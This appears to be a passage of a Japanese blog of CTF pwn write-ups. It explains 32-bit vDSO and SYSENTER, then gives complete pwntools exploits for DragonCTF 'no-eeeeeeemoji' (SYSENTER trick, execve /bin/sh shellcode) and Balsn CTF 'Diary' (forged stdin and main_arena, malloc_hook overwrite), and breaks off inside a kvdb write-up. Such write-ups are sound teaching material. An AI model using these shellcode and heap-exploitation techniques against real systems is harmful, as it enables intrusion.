0x939。これで計算した landing_pad をスタックに積んである pt_regs のEIPに該当する部分に書き込んでいる。これによって、entry_SYSENTER_compat() に処理が戻って諸々のレジスタをpopしSYSEXITに戻る際にこのアドレスがEIPに入ることになり、ユーザランドのこのアドレスに戻ることになる。続くdo_fast_syscall_32()の処理は特に変わったところはなく、普通にシステムコールハンドラを呼び出すだけである。

 

さて、ここまででSYSENTERの戻りアドレスはレジスタの値に全く関係なく vDSO + 0x939 == landing_pad に戻ることが分かった。ではこの値が何を意味しているのか。これは32bit vDSOの仕組みを見ると分かるため、次はvDSOを見ていくことにする。

 

5: 32bit vDSO / __kernel_vsyscall

32bitでのvDSOの利用

32bitエミュにおいてもやはりvDSOを使用する。以下の図のようにvDSOはマッピングされていることが分かる。(32bit且つstaticリンクなのでvmmapがこじんまりとしていて可愛いですね... 癒やされます...)

f:id:smallkirby:20201125024022p:plain

vmmap 32bit

やはりstack->vdso->vvarの順にマッピングされている。さてさて、このvDSOイメージにおいて、先程見た+0x939というオフセットにはなにがあるのだろうか。

f:id:smallkirby:20201125024146p:plain

around 0x939 of vDSO 32bit

__kernel_vsyscall() という関数の INT 0x80 命令の1個後のアドレスを指していて、そのINT 0x80の1個前にはSYSENTERがある

 

試しに、32bitプログラムで write() を行ってみると、glibc内のwrite()からすぐにこの__kernel_vsyscall()に飛んだ。 上のアセンブラでは、ESPをEBPに移している。これは、SYSENTERのABIに合わせるためである。また、揮発性のECX/EDX及びESPが入るEBPをスタックに退避させている。

そうしてSYSENTERに入ったあとは、先程説明したようなパスを辿り、vDSO+0x939というアドレスにSYSEXITすることになる。これは、ユーザプロセスがどこでSYSENTERを呼んだかに関係なく固定のアドレスなのであった。この+0x939は、退避させたレジスタをPOPする。

何故SYSENTERの直後の命令に戻らないかと言うと、32bit環境においてはINT 0x80でシスコールを呼び出すことも可能でありどちらの選択の余地も有るため、SYSENTERをした場合もINT 0x80をしたのと変わらないような見かけにするためだという。

なお、64bit環境においてvDSOを利用する gettimeofday() 等は32bitにおいてもvDSOを利用するが、__kernel_vsyscall() は介さずにすぐにvDSO中の対応するハンドラに飛ぶことになる。

 

さてさて、ここまで32bitにおけるvDSOを見てきた。64bitと異なり、特定の4つの関数以外もvDSO(__kernel_vsyscall)を利用し、戻りアドレスはカーネル内で決められたvDSO中の固定アドレスになる。

 

 

湧き上がる疑問

重要なこと、SYSENTERからの戻りアドレスは固定アドレス(厳密にはvDSO+固定オフセット)である

そしてもう一つ重要なこと、これが上手く働くにはSYSENTER前後の処理を適切に行う必要が有る。このお世話係はvDSO中の __kernel_vsyscall() が行ってくれる。逆に言うと、SYSENTERを介したシスコールは、__kernel_vsyscall()から呼び出すことしか想定されていない。

 

おっと????それでは、64bit環境において、不正にSYSENTERを呼び出したらどうなるのであろうか????

 

 

それでは no-eeeeeeeeeeeeeeeemoji を解いていくことにする。

 

 

 

 

6: no-eeeeeeeeemoji from DragonCTF 2020

ここまで32bit/64bitにおけるシステムコールを概観してきた。やっと、DragonCTFの問題 no-eeeeeeeeeeemojiを解くことができる。1solve問題である。やばたにえん。

静的解析/ 問題概要

./main: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=04de054da4e374f485c3d10b147634b527f62cd7, for GNU/Linux 3.2.0, stripped
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
Ubuntu 18.04 from docker-hub

 

乱数によって決められるアドレスに対して1ページ分だけmmapし、そこに任意長のシェルコードを注入することができる。但し、注入したシェルコードの内、2byteを残して下位部分は不正な値(0x41)によって塗りつぶされ、上位部分はNOPスレッド+直ちにexit()するコードで塗りつぶされてしまう。結果として一番最初に自由に実行できるコードは2byteのみである。メモリレイアウトは以下のようになる。

f:id:smallkirby:20201125031921p:plain

memory layout

ものすごく細かくて見づらいが、図の緑色の部分だけ任意のコードを注入でき、其れ以外は不正な値orすぐ死ぬ関数で塗りつぶされている。図のmmap+200のアドレスから実行が開始される。尚、mmap()されるアドレスはシード無しのrand()によって、0x1000から0x1000000の間に1ページ分だけ取られる。mmap()は何度でもやり直すことが可能なため、この間のページアラインされた領域ならば任意のアドレスに取得できると考えてよい。また、接続時にプロセスマップが与えられるため諸々のリークの必要はない。

 

リアルタイムでどう考えたか

これをCTF中に考えたときは、自由に注入できる2byteと、その後ろに続いているNOPスレッド(0x90...)をつなげて使うのではないかと考えた。よって、任意の2byte+0x909090909090...によって生成することのできる命令およそ6万通りの命令を分類し、目grepして使えそうな命令がないか試した。その中には勿論SYSENTERもあった。だが、最初に言ったようにあまりこの命令自体を深く考えたことがないためすぐに候補から外してしまった。結局色々試した結果使えそうなものが見つからず、最終的に2byteでどうこうする以外に見逃していることが有るのではないかと考えたまま終わってしまった。

 

 

__kernl_vsyscallを経由せずにSYSENTERするとどうなるか

この疑問に対する結論から先に言ってしまう。そして、この一言でこの問題は解けたも同然になる。

 

64bitモードにおいてSYSENTERを呼び出した時、戻りアドレスはユーザプロセスvDSOのアドレスに固定のオフセットを加えたアドレスの下32bitになる。 

 

ここでいう固定のオフセットとは、先程見た vdso_image_32.sym_int80_landing_pad、つまりvDSOにおける__kernel_vsyscall()内のINT 0x80までのオフセットである。

すなわち、それが64bitモードで呼び出されていようといなかろうと、vDSOから呼び出されていようといなかろうと、正規の手順(レジスタの退避・復元)がSYSENTER前後にあろうとなかろうと、そのvDSOのアドレスが32bitレンジだろうと64bitレンジだろうとおかまいなしに、決まったアドレスに戻ってしまうことになる。

まじ??????そんなことあっていいの????

 

 

exploitの方針

まず、メモリマップが与えられるためvDSOのアドレスをメモする。このアドレスが、mmap()がそもそもに可能な領域であるかを確認する。今回可能なアドレスは、0x0 ~ 0x1000000である。下32bitがこの範囲外に有る場合はもう一度接続し直してやり直す。(vDSOのアドレスは0x7FF_XXYYY000であるから、8bitのエントロピー)

その後、vDSO+固定オフセットの下32bitがmmap()した範囲に来るように、mmap()を繰り返す。ここでいう固定オフセットは、Ubuntu18.04の場合以下のように0xB49である。

f:id:smallkirby:20201125040949p:plain

offset of return address from SYSENTER

SYSENTERのオペコードは 0F 34 であり2byteで十分であるから、最初に実行できる2byteにSYSENTERを注入する。他の領域にはNOPスレッドを入れておいて、mmap()した一番最後に通常の32bitシェルコードを入れておく。

そうすると、SYSENTERして帰って来る際にvDSO+0xB49の下32bitが戻りアドレスになり、これは先程調整したmmap()のレンジ内であるから、広げておいたNOPスレッドを辿って最後のシェルコードを実行することになる。

はーーーーー、わかってしまえば、めっちゃ単純...

 

 

exploit

割とな数のぶるーとふぉーすしなくちゃいけないので、CTF後の低速サーバに切り替わった後では結構きつい。 

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys
import time

FILENAME = "./main"
LIBCNAME = ""

hosts = ("noemoji.hackable.software","localhost","localhost")
ports = (1337,12300,23947)
rhp1 = {'host':hosts[0],'port':ports[0]}    #for actual server
rhp2 = {'host':hosts[1],'port':ports[1]}    #for localhost 
rhp3 = {'host':hosts[2],'port':ports[2]}    #for localhost running on docker
context(os='linux',arch='i386')
binf = ELF(FILENAME)
libc = ELF(LIBCNAME) if LIBCNAME!="" else None


## utilities #########################################

def hoge(ch):
  global c
  c.recvuntil("cow beer\n")
  c.recvline()
  c.sendline(ch)

def horse(data):
  global c
  s = len(data)
  hoge('h')
  c.recvuntil("gib:\n")
  for i in range(s//0x20 + 1):
    try:
      c.send(data[i*0x20: (i+1)*0x20])
    except():
      return

def beer():
  global c
  hoge('b')
  c.recvuntil("@")
  return int(c.recvline().rstrip(), 16)

i = 0
j = 0

def cow():
  global c
  hoge('c')

## exploit ###########################################

def exploit():
  global c
  global i,j
  sym_int80_landing_pad = 0xb49

  # get vDSO addr
  c.recvuntil("[vvar]")
  c.recvline()
  vdso = int(c.recvuntil("-")[:-1], 16)
  print("[{}] vdso: ".format(hex(i))+hex(vdso))

  # check vDSO's 32bit is in range of mmap(0x0~0x1000000) [8bit entropy]
  # むぅ、なんかtarget>=0x400000だとうまくいかん気がするんだが
  #if(vdso & 0xFF000000 != 0):
  if(((vdso & (2**32 - 1))>>12) >= 0x300):
    return False
  target = vdso & (2**32 - 1)
  print("[!] YEAH. I can target: "+hex(target))

  # mmap until (vDSO+0xB49)&32bit is mapped [12bit entropy]
  j = 0
  while True:
    mmapaddr = beer()
    print("[{}] mmap: ".format(hex(j))+hex(mmapaddr))
    j += 1
    if mmapaddr == target:
      break

  # inject shellcode
  print("[!] injecting shellcode and SYSENTERing...")
  shellcode = b""
  shellcode += asm('mov esp, {}'.format(hex(mmapaddr + 0x200)))
  shellcode += asm('xor eax, eax')
  shellcode += asm('push 0x0068732f')
  shellcode += asm('push 0x6e69622f')
  shellcode += asm('mov ebx, esp')
  shellcode += asm('mov ecx, eax')
  shellcode += asm('mov edx, eax')
  shellcode += asm('mov al, 0xb')
  shellcode += asm('int 0x80')
  shellcode += asm('xor eax, eax')
  shellcode += asm('inc eax')
  shellcode += asm('int 0x80')
  pay = b""
  pay += p8(0x90) * 0x200
  pay += p8(0x0F) + p8(0x34) # SYSENTER
  pay += p8(0x90) * (0xe00 - len(pay))
  pay += shellcode
  pay += p8(0x90) * (0x1000 - len(pay))
  raw_input("ENTER TO PWN")
  horse(pay)

  return True



## main ##############################################

if __name__ == "__main__":
    global c
    global i
    start_time = time.time()

    
    while True:
      if len(sys.argv)>1:
        if sys.argv[1][0]=="d":
          cmd = """
            set follow-fork-mode parent
          """
          c = gdb.debug(FILENAME,cmd)
        elif sys.argv[1][0]=="r":
          c = remote(rhp1["host"],rhp1["port"])
        elif sys.argv[1][0]=="v":
          c = remote(rhp3["host"],rhp3["port"])
      else:
          c = remote(rhp2['host'],rhp2['port'])

      result = exploit()
      if result == False:
        c.close()
        i += 1
        continue

      break
    print("[!] Success pwning:")
    print("[+]   try of vSDO:  "+hex(i))
    print("[+]   try of mmap: "+hex(j))
    print("[+]   total time : " + str(time.time() - start_time) + "s")

    c.interactive()

 

こうすると、SYSENTERの直前がこんな感じで

f:id:smallkirby:20201125073850p:plain

SYSENTERするとこうなって

f:id:smallkirby:20201125073911p:plain

以降はNOPスレッドを辿ってシェルコードにたどり着く。シェルコードでは、ESPを有効なアドレス(今回はmmap()したとこの内どっか)に持っていくのを忘れずに。

 

ローカルの結果。

f:id:smallkirby:20201125074153p:plain

flag{らぶしいず}

vDSOがそもそもにpwn可能な位置に来るまでのリトライが475回、そのあとのmmap()での調整が1994回。うーん、これリモートだとだいぶきつそうだな。しかもCTF終わったから低速サーバに切り替わっていて、実際にリモートで試すのはしんどそう。まぁリモートと環境全く一緒にしてるからこれで終わりでいいよね、いいよ。

 

 

と思ったら、まぁフラグ取れた。

f:id:smallkirby:20201125080036p:plain

DrgnS{H0p3_y0u_d1dn7_jUsT_brUt3_y0ur_sOlu710n}

317秒。まぁ、いいか。

 

 

 

 

7: アウトロ

解けなかった人間が言うのもなんですが、タネがわかってしまえばものすごくシンプルな問題です。それでも解ききれなかったのは、やはり知識に曖昧な点があったからに他ならないと思うので、今ここで総復習する機会ができたのは良かったと思います。

こんなん基礎の基礎だろって記事を読みながら思ったプロpwnerもいるかもしれませんが、この辺のことを100%理解しているのならばこの問題は瞬殺できるはずなので、この問題をリアルタイムで解けた1チームの誰かを除いて反省してください。嘘です。ごめんなさい。

 

まぁ、曖昧な知識はいつか必ずボロが出るはずなので、ちゃんとどこかで固めておくのは大事だなぁと思いました。 うさぎ。

 

 

 

 

ちなみに、このDragonCTFと同期間に大阪大学のサークル主催の Wani CTF というものがあり、なんかTLに流れてきたのでpwnだけ全部解いておきました。手応えの有る問題や目新しい問題は一つもありませんでしたが、SECCON beginnersの1問目みたいな親切な問題が沢山あり、どっかのTSGみたいに初心者向けと煽っていくスタイルとは違って良いサークルだなぁと思いました。嘘です。TSGも良いサークルです。嘘です。

f:id:smallkirby:20201125053759j:plain

わにわにぱにっく!!!

名前は、その時頭に浮かんだことを理性というフィルターに一切かけることなく素通りさせた時に出力された文字列です。

 

 

 

8: SpecialThanks

Dragon Sector. 無知を認めて学び直すきっかけをありがとうございます。

moraさん. わからないことをいつも教えてくれて凄く感謝してます:bow:

 

 

 

 

 

0: 参考

A: Intelのマニュアル

https://software.intel.com/content/www/us/en/develop/download/intel-64-and-ia-32-architectures-sdm-combined-volumes-1-2a-2b-2c-2d-3a-3b-3c-3d-and-4.html

B: Linux Internal

https://0xax.gitbooks.io/linux-insides/content/SysCall/linux-syscall-3.html

C: SUSE labのスライド

https://events.static.linuxfound.org/sites/events/files/slides/entry-lce.pdf

D: LWN.net

https://lwn.net/Articles/446528/

E: Qiitaの記事

https://qiita.com/saikoro-steak/items/3067ca6ec02fdcde2109

F: ニルギリ

https://youtu.be/yvUvamhYPHw

 

 

 

 

 

続く...

 

 

 

 

 

 

 

 

 

 

 

 

【pwn 39.0】Diary - Balsn CTF 2020

keywords

non-NULL terminated leak / unlimited linear overflow / forge main_arena / libc2.29

 

 

1: イントロ

生存確認。

ちゃんと時間を取って取り組んだわけではないけれど、いつぞや開催された BalsnCTFpwn 問題 Diary

最近heap問題見るとすごく面倒くさい気持ちになってきました。

今回から、目次の前にkeywordsを置いてみました。結局pwn(特にheap)の場合には与えられたvulnsからできることを組み立てていくことが殆どなので、CTF中にvulnから使える解法を逆引きできたほうが自分的に便利ということで置いています。続ける保証はないです。

 

 

2: 静的解析

./diary: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=53d5963091eba5e6879841c661d474196be39e5c, for GNU/Linux 3.2.0, stripped
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
FROM ubuntu:disco-20200114 (libc 2.29)

 

プログラムは典型的なメモ帳の追加・編集・出力・消去を行う。但し、消去は各メモ帳に付き1回しかできず、編集は実行中に1回しかできない

追加するメモ帳のサイズは0x80以下であり、書き込み時には read() で読むためNULLを気にせず書き込める。だが、出力は printf("%s") で行うためNULLで出力が切れてしまう。

 

 

3: Vulns

脆弱性は3つ。

1つ目。最初に name を入力するのが、そのバッファがNULL終端されず、且つヒープへのポインタが隣接しているため容易に heapbase がリークできる。

2つ目。ただ1回できる edit において、メモ帳のインデックスとして負数を入力できる。ここでメモ帳は .bss section に確保されており、その上部には stdin が入っている。よって、負数の edit を用いることで stdin を書き換えることができる。この際、プログラムの仕様により入力可能バイト数は stdin->flags (0xFBAD208B) であり、実質無制限に書き換えることができる。

3つ目。これは攻撃に使うことはできない(寧ろ邪魔になる)が、確保していないメモ帳に対して消去(free)することができる。

 

4: 方針

今回で一番強い制限は edit が1回しかできないということ。また、vulnよりできることは stdin/stdout の書き換え。

この2点より、典型的な _IO_FILE_plus forge の方針を考えてしまいそうになる。例えば stdin のバッファアドレスを heap に書き換えることで heap を自在に操作できるようにして unsorted を生成するということが考えられる。だがこの場合、生成した libcbase を出力するための方法がなかなか思いつかない。逆に stdout を書き換えたとすると libcbase のリークは簡単だろうが、任意の値をメモリ中に書き込むのが難しい。

そこで、stdout/stdin無制限に書き換えられるということに注目する。stdin の広報を見てみると、main_arena 及び malloc_hook が存在している。よって、stdin を書き換えるのではなく、stdinから始めて main_arena/malloc_hook を書き換えることを方針とする。

f:id:smallkirby:20201117074145p:plain

layout around stdin

 

4: forge fastbinsY of main_arena to leak libcbase 

 main_arena には mfastbinptr fastbinsY[10] という fastbin のrootを保持する配列が有る。

f:id:smallkirby:20201117074647p:plain

House of Corrosionとかで global_max_fast を書き換えて攻撃の起点とするアレだ。

今回はこれを直接書き換えて、heap中の任意のアドレスに持っていく。これの一つを、メモリ中の unsorted のすぐ上を指すように書き換える。これによって、生成された libcbase をリークすることができる。

ここで、unsorted は0x90サイズのメモ帳を7個作ってfreeすることで生成できる。尚、使用されているのは calloc() であるため、tcache から取られることはないし、何より確保領域がNULLクリアされるため、細かいところに気配りが必要になる。そこは大和魂でなんとかする。heap問題って、説明のしようがないのも嫌いです。こんなブログ、「heap feng shuiします」の一言で本来終わってしまうもんだからな。

 

 

5: forge linked-list of fastbins and consolidate them into tcache 

ここまでで heapbase/libcbase がリークできているため、次は malloc_hook を書き換えることを考える。

先程の main_arena の書き換えに於いて適当な位置を 0x70 サイズの fastbin が指すようにしておく。さらにそいつが指す先に有る fake chunk の fd を他のメモ帳を使って書き換えることで、fastbinのfdを自由な値にすることができる。これによって malloc_hook を指させることにする。

最大の障壁は、0x90サイズの fastbin が存在しないということである。最初に unsorted を生成するために tcache[0x90] には現在7つのchunkが繋がっている。fastbinは0x20~0x80であるからこそ、これで unsorted が生成されるわけである。だが、main_arena の forge による fastbin の書き換えでは 0x90 のchunkは作れないため、0x70等のサイズを使用する必要が有る。だが、それらのサイズを使うと今度は fastbin->fd を書き換える際に malloc consolidation が発生し、せっかく書き換えたfastbinが全てtcacheへぶっ飛んでいってしまう。

これを回避するために、予め互いにリンクした fake chunk(0x70) を用意しておく。そして main_arena の書き換えによって、root-> 大量のリンクリスト-> libcbaseをリークした後に生成したfake fastbin-> malloc_hook というリストを作り出す。これによって、consolidation が発生した際に用意した大量のchunksを tcache に持っていき、所望のfdをもつchunkはfastbinに格納させることができる。

この辺をどうやるか、それは勿論決まっている。

HEAP FENG SHUI です!!!!!!!! 

 

 

 

6: exploit

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
from smallkirbypwn import *
import sys

FILENAME = "./diary"
LIBCNAME = "./libc-2.29.so"

hosts = ("diary.balsnctf.com","localhost","localhost")
ports = (10101,12300,23947)
rhp1 = {'host':hosts[0],'port':ports[0]}    #for actual server
rhp2 = {'host':hosts[1],'port':ports[1]}    #for localhost 
rhp3 = {'host':hosts[2],'port':ports[2]}    #for localhost running on docker
context(os='linux',arch='amd64')
binf = ELF(FILENAME)
libc = ELF(LIBCNAME) if LIBCNAME!="" else None

class _IO_FILE(object):
  def __init__(self, 
      read_ptr=None, read_end=None, read_base=None,
      write_base=None, write_ptr=None, write_end=None,
      buf_base=None, buf_end=None,
      save_base=None, backup_base=None, save_end=None,
      lock=None, wide_data=None):
    self.read_ptr = read_ptr if read_ptr!=None else 0
    self.read_end = read_end if read_end!=None else 0
    self.read_base = read_base if read_base!=None else 0
    self.write_base = write_base if write_base!=None else 0
    self.write_ptr = write_ptr if write_ptr!=None else 0
    self.write_end = write_end if write_end!=None else 0
    self.buf_base = buf_base if buf_base!=None else 0
    self.buf_end = buf_end if buf_end!=None else 0
    self.save_base = save_base if save_base!=None else 0
    self.backup_base = self.backup_base if backup_base!=None else 0
    self.save_end = save_end if save_end!=None else 0
    self.flag = 0xfbad208b
    self.markers = 0
    self.chain = 0 # stdin addr if stdout
    self.fileno = 0 # 1 if stdout
    self.fileno2= 0
    self.old_offset = 0xffffffffffffffff
    self.lock = lock if lock!=None else 0
    self.offset = 0xffffffffffffffff
    self.code_cvt = 0
    self.wide_data = wide_data if wide_data!=None else 0
    self.freeres_list = 0
    self.freeres_buf = 0
    self.pad5 = 0
    self.mode = 0xffffffff
    return None

  def gen(self):
    pay = b""
    pay += p64(self.flag)
    pay += p64(self.read_ptr) + p64(self.read_end) + p64(self.read_base)
    pay += p64(self.write_base) + p64(self.write_ptr) + p64(self.write_end)
    pay += p64(self.buf_base) + p64(self.buf_end)
    pay += p64(self.save_base) + p64(self.backup_base) + p64(self.save_end)
    pay += p64(self.markers)
    pay += p64(self.chain)
    pay += p32(self.fileno) + p32(self.fileno2)
    pay += p64(self.old_offset)
    pay += p64(0x000000000a000000) # cur_column + vtable_offset + shortbuf
    pay += p64(self.lock)
    pay += p64(self.offset)
    pay += p64(self.freeres_list) + p64(self.freeres_buf) + p64(self.pad5)
    pay += p32(self.mode) + p32(0)
    return pay

class _IO_FILE_plus(_IO_FILE):
  def __init__(self,
      read_ptr=None, read_end=None, read_base=None,
      write_base=None, write_ptr=None, write_end=None,
      buf_base=None, buf_end=None,
      save_base=None, backup_base=None, save_end=None,
      lock=None, wide_data=None, vtable=None):
    super(_IO_FILE_plus, self).__init__(
      read_ptr, read_end, read_base,
      write_base, write_ptr, write_end,
      buf_base, buf_end,
      save_base, backup_base, save_end,
      lock, wide_data)
    self.vtable = vtable if vtable!=None else 0

  def gen(self):
    pay =  super(_IO_FILE_plus, self).gen()
    pay += p64(0) * 4
    pay += p64(self.vtable)
    return pay

class main_arena:
  def __init__(self):
    self.mutex = 0
    self.flags = 0
    self.have_fastbinchunks = 0
    self.fastbins = {}
    return None

  def set(self, size, addr):
    self.fastbins[hex(size)] = addr
    return self

  def gen_fastbinchunks(self):
    pay = b""
    for i in range(8):
      if hex(i*0x10+0x20) in self.fastbins:
        pay += p64(self.fastbins[hex(i*0x10+0x20)])
      else:
        pay += p64(0)
    return pay

  def gen(self):
    pay = b""
    pay += p32(self.mutex) + p32(self.flags)
    pay += p32(self.have_fastbinchunks)
    pay += p32(0) # hole
    pay += self.gen_fastbinchunks()
    return pay


## utilities #########################################

def hoge(ix):
  global c
  c.recvuntil("choice : ")
  c.sendline(str(ix))

def _show():
  global c
  hoge(1)

def _write(_size, _content, stop=False):
  global c
  hoge(2)
  c.recvuntil("Length : ")
  c.send(str(_size))
  if stop:
    return
  c.recvuntil("Content : ")
  c.send(_content)

def _read(page):
  global c
  hoge(3)
  c.recvuntil("Page : ")
  c.send(str(page))

def _edit(page, content):
  global c
  hoge(4)
  c.recvuntil("Page : ")
  c.sendline(str(page))
  c.recvuntil("Content : ")
  c.send(str(content))

def _tear(page):
  global c
  hoge(5)
  c.recvuntil("Page : ")
  c.send(str(page))

## exploit ###########################################

def exploit():
  global c
  ds = 0x80
  name = "A"*0x20

  # setup name
  c.recvuntil("name : ")
  c.send(name)

  # leak heapbase
  _write(ds, "B"*ds) # 0
  _show()
  c.recvuntil("A"*0x20)
  leak = unpack(c.recvline().rstrip().ljust(8,'\x00'))
  heapbase = leak - 0x260
  print("[+] leaked: "+hex(leak))
  print("[+] heapbase: "+hex(heapbase))

  # generate unsorted
  sz = 0x31
  for i in range(0x8): # 1..0x9
    if i==0: # to fulfill fastbin(0x80)
      _write(ds, p32(0) + p64(0) +  (p64(heapbase+0x300)+p64(0x81)) + (p64(heapbase+0x310)+p64(0x81))+(p64(heapbase+0x320)+p64(0x81)) + (p64(heapbase+0x330)+p64(0x81)) + (p64(heapbase+0x340)+p64(0x81)) + (p64(heapbase+0x350)+p64(0x81)) + (p64(heapbase+0x380)+p64(0x81)))
    elif i==1:
      _write(ds, p32(0) + p64(0x71) +  (p64(heapbase+0x610)+p64(0x81)))
    else:
      _write(ds, p32(0) + (p64(0x71)+p64(0))*((ds-4)//0x10 - 2) + (p64(sz)+p64(0))*2)
  for i in range(0x8):
    _tear(i) # generate unsorted at heapbase+0x640

  # forge main_arena
  mp = main_arena()
  mp.set(0x30, heapbase + 0x620).set(0x70, heapbase + 0x600).set(0x80, heapbase+0x300)
  pay = b""
  pay += _IO_FILE_plus(vtable=0).gen()[4:]
  pay += p8(0x40) * 0x130 # pad wide_data
  pay += p64(0x81)*2 # fake sz for overwriting malloc_hook
  pay += p64(0x00)*2 # fake fd for overwriting malloc_hook
  pay += p64(0) # malloc_hook
  pay += p64(0)
  pay += mp.gen()
  _edit(-6, pay)

  # leak libcbase
  _write(0x24, "A"*(0x24)) # 0xa@heapbase+0x660
  _read(0x9)
  c.recvuntil("A"*0x24)
  leak =  unpack(c.recvline().rstrip().ljust(8,'\x00'))
  libcbase = leak - 0x1e4ca0
  print("[+] leak: "+hex(leak))
  print("[+] libcbase: "+hex(libcbase))

  # overwrite fastbin's fd
  ogs = [addr + libcbase for addr in [0xe237f, 0xe2383, 0xe2386, 0x106ef8]]
  _write(0x60, p32(0) + p64(0x81) + p64(libcbase + 0x1e4c10)) # @heapbase+0x610 consolidate into tcache
  _write(0x70, "A"*0x10) # connect malloc_hook into unsorted(0x80)
  _write(0x70, "A"*0xc + p64(ogs[3])) # overwrite malloc_hook

  # boomb
  _write(0x60, "X", stop=True)


## main ##############################################

if __name__ == "__main__":
    global c
    
    if len(sys.argv)>1:
      if sys.argv[1][0]=="d":
        cmd = """
          set follow-fork-mode parent
        """
        c = gdb.debug(FILENAME,cmd)
      elif sys.argv[1][0]=="r":
        c = remote(rhp1["host"],rhp1["port"])
      elif sys.argv[1][0]=="v":
        c = remote(rhp3["host"],rhp3["port"])
    else:
        c = remote(rhp2['host'],rhp2['port'])
    exploit()
    c.interactive()

 

 

7: アウトロ

f:id:smallkirby:20201117080442p:plain

flag flag flag...

 

まじで、Verilogめっちゃ苦手です

ハードウェアの気持ちを考えて書くことができない

 

 

 

 

 

続く...

 


 

 


 

 

【pwn 38.2】SECCON CTF 2020 ~ part.3 kvdb

keywords

customized memory system / tcache poisoning / heap feng shui / libc2.32

 

鶏がチキンレースをしたらチキンチキンレースになり

それがガキ使の企画として行われたらチキチキチキンチキンレースになることは自明であるが

キツキツのキッチンでそれが行われた場合キツキツのキッチンでチキチキチキンチキンレースになるのであろうか。

キッチリとキツキツのキッチンでチキチキチキンチキンレースと毎回発音するのは当然面倒くさいため、何か代替案を考えなければならない...

 

 

最近、愉快じゃなくなったので大学サークルのSlackを抜けたのですが、それで時間が増えるかと思ったらそうでもありませんでした。認知資源が増えるかと思ったけど、そもそも認知資源ってなにかわかりませんでした。

 

ブログ閉鎖したんちゃうんかァと思う人は、一人ひとり全力でスライディング土下座しに行くのでDMください。DMしてきたら泣きながら通報します。

 

 

 

1: イントロ

いつぞや開催された SECCON CTF 2020

そのpwn問題を全部解き直すシリーズpart.3です。前回までのエントリは以下を参照してください。

smallkirby.hatenablog.com

smallkirby.hatenablog.com

 

本エントリでは pwn 2solves kvdb を解いていきます。"k"ってついてるからカーネル問かと思っていたら、カーネル問じゃありませんでした。けど面白かったです。独自メモリシステム問題は、頭がバグりそうになるけど、解けると楽しい。嗚呼人生哉...

 

 

2: 静的解析

The Binary

./kvdb: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=b2278a81a0a29c6ec7f429d1992320bd5bd00ebe, for GNU/Linux 3.2.0, not stripped
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
$ strings ./libc.so.6 | grep glibc | head
glibc 2.32

Source code is attached to the distributed file. 

You can ADD, GET, and DELETE data of key/value structure.

f:id:smallkirby:20201019201734p:plain

demo

 "The Binary" といえば適当にYoutubeで流してたこの曲が好きになったので、初めて歌手のファンクラブに会員登録しました 🎉 🎉 🎉 🎉 🎉 🎉 🎉

多分この問題もこの曲にインスパイアされて作られたんだと思います、知らんけど。

 

Data structure

One key/value data is stored as below structure: structure entry

f:id:smallkirby:20201019210751p:plain

key/value data structure

valid means whether this data is DELETEd or not. hash is calculated from key in new_hash() and is used for searching the hashtable (htb) for the entry.

f:id:smallkirby:20201019211057p:plain

hash calculation

The pointers of them are stored in hashtable(structure entry *htb[0x100]). The LSB of hash is used as the key of hashtable. If the hash collides, new entry is put into root of the linked list in htb_link().

Memory Allocation Structure

Most of data is stored in buffer which is allocated via alloca() or calloc(). But key and value are allocated via original allocation system, which uses Garbage Collection. 

Memory Pool is described as below structure: structure mpool mp

f:id:smallkirby:20201019212729p:plain

memory pool

Memory Allocation System and Garbage Collection

Buffer is allocated from this system via alloc().  

f:id:smallkirby:20201019213213p:plain

memory allocation

It first check whether the rest of space is enough for requested size. Here, p->cap means the upper limit size of the memory pool. If there is no space, it calls gc(), or Garbage Collection function.

f:id:smallkirby:20201019213524p:plain

garbage collection

The default size of memory pool is 0x80. After estimating the size of inuse memory, it adjusts new pool size.  In init_mpool(), new pool is allocated via malloc(), then p->base, p->cap, and p->inuse is updated. In migrate() function, all the entries is re-allocated in updated memory pool. Note that all the key are re-allocated, but data is re-allocated only when e->valid is true. 

f:id:smallkirby:20201019214407p:plain

migrate all the entries

The last phase of gc() is to free() the old memory pool.

 

 

3: Vulnerabilities

To be honest, I couldn't find any vulns or kinda any clues at first glance....

I guess the author of this challenge has already written author's writeup (I think this trend is typical especially in recent Japanese CTF), but I didn't wanna see it. And I don't know who is the author, though I can guess ptr-yudai disaster-level pro or shift_crops world-end pro is.

(Edit 20201019: my guess-work was correct and the author shift_crops has already written the writeup. See below)

shift-crops.hatenablog.com

 

Curious Parts

When nothing tells you, start from small doubt. 

The curious part 1. In db_get() which searches hashtable for the requested entry, the buffer of the entry is checked as bellow.

f:id:smallkirby:20201019220949p:plain

curious memory check in db_get()

 Similar check is performed also in db_reg():

f:id:smallkirby:20201019221053p:plain

curious memory check in db_reg()

Memory allocation and re-allocation should be performed in alloc() and migrate(). If they are perfect, these check wouldn't be needed. It means that the allocation system can collapse and the entry can be in out-of-memory region. 

The curious part 2. Why does this system leave deleted or migrated data unfreed.  In migrate(), data which satisfies e->valid&&e->size>0 is reallocated, but is not freed. Therefore, the old data become floating-pointer and can be used to leak some info, I guess.

The curious part 3, which is a totally mistake of mine, but usefull notice. Does this system need to shrink the pool in gc()?  

f:id:smallkirby:20201019225348p:plain

the memory pool can shrink

Yeah, this behavior itself is OK, with no problems. But this small notice led me to exploit.  

The curious part 4, why reading and writing data is performed via read() and write()? Why not fgets() or something like it. In CTF context, this often means that you can write arbitrary value regardless of NULL byte of newline(0x1A). 

 

 

The vuln

Let these three curious parts combined.  

Suppose below situation:

f:id:smallkirby:20201021182339p:plain

suppose

